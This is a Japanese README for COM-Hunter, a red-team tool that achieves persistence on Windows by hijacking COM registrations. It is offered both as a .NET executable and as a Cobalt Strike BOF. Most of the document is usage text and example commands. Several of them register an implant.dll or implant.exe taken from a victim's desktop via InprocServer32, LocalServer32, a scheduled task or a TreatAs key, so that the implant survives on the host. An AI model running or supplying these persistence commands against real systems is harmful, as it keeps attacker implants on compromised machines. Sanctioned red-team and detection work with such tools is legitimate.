
Windows COMハイジャック永続化ツール。検索、クラシック、タスクスケジューラ、TreatAsモードを備えています。.NET実行可能ファイルおよびCobalt Strike BOFとして利用可能で、レッドチーム運用向けです。
COMハイジャックのVOODOO

COM-HunterはCOMハイジャックの永続化ツールです。
.NET版と、Cobalt Strikeと完全互換のBOF版の両方が利用できます。
以下のリストは利用可能なモードを説明しています。
LocalServer32、InprocServer32、およびHKLMとHKCUの両方のレジストリエントリに基づいてCLSIDを検索します。LocalServer32またはInprocServer32を使用して、古典的なCOMハイジャック永続化を実行します。LocalServer32またはInprocServer32を使用して、タスクスケジューラ経由で自動的にCOMハイジャック永続化を確立します。TreatAsレジストリキーと偽の(転送可能な)CLSIDを使用して、LocalServer32またはInprocServer32経由でCOMハイジャック永続化を実行します。LocalServer32、InprocServer32、および関連するレジストリエントリ(との両方)に依存する永続化メカニズムを削除します。ℹ️ このツールは選定され、Cobalt Strike Community Kitの一部として誇りを持って提供されています。
バグを見つけた場合は、遠慮なく報告してください。あなたのフィードバックはこのプロジェクトの品質向上に役立ちます!
このプロジェクトの作成者および貢献者は、ツールの不正使用に対して一切の責任を負いません。このツールは教育目的のみを意図しています。ユーザーは適法な使用について責任を負います。
このプロジェクトは@nickvourdと@S1ckB0y1337によって❤️を込めて作成されました。
ベータテスト段階で貴重な支援をしてくれた友人Marios Gyftosに特別な感謝を捧げます。
@zeropointsecltdのRTOコースに触発されました。
BOF実装はLefteris Panosと彼の素晴らしいプロジェクトRegPersistに触発されました。
base.cとbofdefs.hファイルはTrustedSecのCS-Situational-Awareness-BOFプロジェクトからの直接コピーです。
██████╗ ██████╗ ███╗ ███╗ ██╗ ██╗██╗ ██╗███╗ ██╗████████╗███████╗██████╗
██╔════╝██╔═══██╗████╗ ████║ ██║ ██║██║ ██║████╗ ██║╚══██╔══╝██╔════╝██╔══██╗
██║ ██║ ██║██╔████╔██║█████╗███████║██║ ██║██╔██╗ ██║ ██║ █████╗ ██████╔╝
██║ ██║ ██║██║╚██╔╝██║╚════╝██╔══██║██║ ██║██║╚██╗██║ ██║ ██╔══╝ ██╔══██╗
╚██████╗╚██████╔╝██║ ╚═╝ ██║ ██║ ██║╚██████╔╝██║ ╚████║ ██║ ███████╗██║ ██║
╚═════╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═══╝ ╚═╝ ╚══════╝╚═╝ ╚═╝
バージョン: 3.0
@nickvourd && @S1ckB0y1337
~ RTOコース(@zeropointsecltd提供)に触発されて ~
使用方法: COM_Hunter.exe <モード> <オプション>
[+] 利用可能なモード:
search 検索モード
persist クラシック永続化モード
tasksch タスクスケジューラモード
treatas TreatAsモード
remove 削除モード
[+] 検索モード:
使用方法: COM-Hunter.exe search <CLSID> <オプション>
-a, --all HKLMとHKCUのDLLおよびEXE実装を検索
-i, --inprocserver32 HKLMとHKCUのDLL実装を検索
-l, --localserver32 HKLMとHKCUのEXE実装を検索
-m, --machine HKLMのDLLおよびEXE実装を検索
-u, --user HKCUのDLLおよびEXE実装を検索
[+] クラシック永続化モード:
使用方法: COM-Hunter.exe persist <CLSID> <binary_path> <オプション>
-i, --inprocserver32 DLL実装を設定
-l, --localserver32 EXE実装を設定
[+] タスクスケジューラモード:
使用方法: COM-Hunter.exe tasksch <binary_path> <オプション>
-i, --inprocserver32 DLL実装を設定
-l, --localserver32 EXE実装を設定
[+] TreatAsモード:
使用方法: COM-Hunter.exe treatas <CLSID> <fake_CLSID> <binary_path> <オプション>
-i, --inprocserver32 DLL実装を設定
-l, --localserver32 EXE実装を設定
[+] 削除モード:
使用方法: COM-Hunter.exe remove <CLSID> <オプション>
-a, --all HKLMとHKCUのDLLおよびEXE実装を削除
-i, --inprocserver32 HKLMとHKCUのDLL実装を削除
-l, --localserver32 HKLMとHKCUのEXE実装を削除
-m, --machine HKLMのDLLおよびEXE実装を削除
-u, --user HKCUのDLLおよびEXE実装を削除
ℹ️ HKLMとHKCUのDLLおよびEXE実装を検索:
.\COM-Hunter.exe search 01575CFE-9A55-4003-A5E1-F38D1EBDCBE1 -a
ℹ️ HKLMとHKCUのEXE実装を検索:
.\COM-Hunter.exe search "{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}" -l
ℹ️ HKLMのEXE実装を詳細検索:
.\COM-Hunter.exe search "{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}" -l --machine
ℹ️ HKCUのEXEおよびDLL実装を検索:
.\COM-Hunter.exe search AB8902B4-09CA-4bb6-B78D-A8F59079A8D5 --user
ℹ️ DLL実装を使用してクラシック永続化を実行:
.\COM-Hunter.exe persist AB8902B4-09CA-4bb6-B78D-A8F59079A8D5 C:\Users\victim\Desktop\implant.dll -i
ℹ️ EXE実装を使用してクラシック永続化を実行:
.\COM-Hunter.exe persist "{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}" C:\Users\victim\Desktop\implant.exe --localserver32
ℹ️ DLL実装を使用してタスクスケジューラ経由で永続化を実行:
.\COM-Hunter.exe tasksch C:\Users\victim\Desktop\implant.dll --inprocserver32
ℹ️ TreatAsレジストリキーと偽の(転送可能な)CLSIDを使用してDLL実装で永続化を実行:
.\COM-Hunter.exe treatas AB8902B4-09CA-4bb6-B78D-A8F59079A8D5 "{00000012-1312-1997-2605-F38D1EBDCBE1}" C:\Users\victim\Desktop\implant.dll -i
ℹ️ HKCUのDLL実装の永続化を削除:
.\COM-Hunter.exe remove AB8902B4-09CA-4bb6-B78D-A8F59079A8D5 -i -u
ℹ️ MinGW-w64ツールチェーンが必要です(x86_64-w64-mingw32-gccおよびi686-w64-mingw32-gcc)
ℹ️ 両方のアーキテクチャ用にBOFオブジェクトをコンパイル:
./make_all.sh
これにより以下の処理が行われます:
com_hunter_*ディレクトリを作成します。com_hunter_*.x64.oとcom_hunter_*.x86.oをコンパイルします。com_hunter_*/ディレクトリに移動します。ℹ️ BOFモジュールのコンパイル後、com_hunter_bof.cnaをCobalt Strikeにロードするだけです。
ℹ️ ビルドアーティファクトをクリーンアップするには、各srcディレクトリに移動して次のコマンドを実行します:
make clean
HKLMHKCU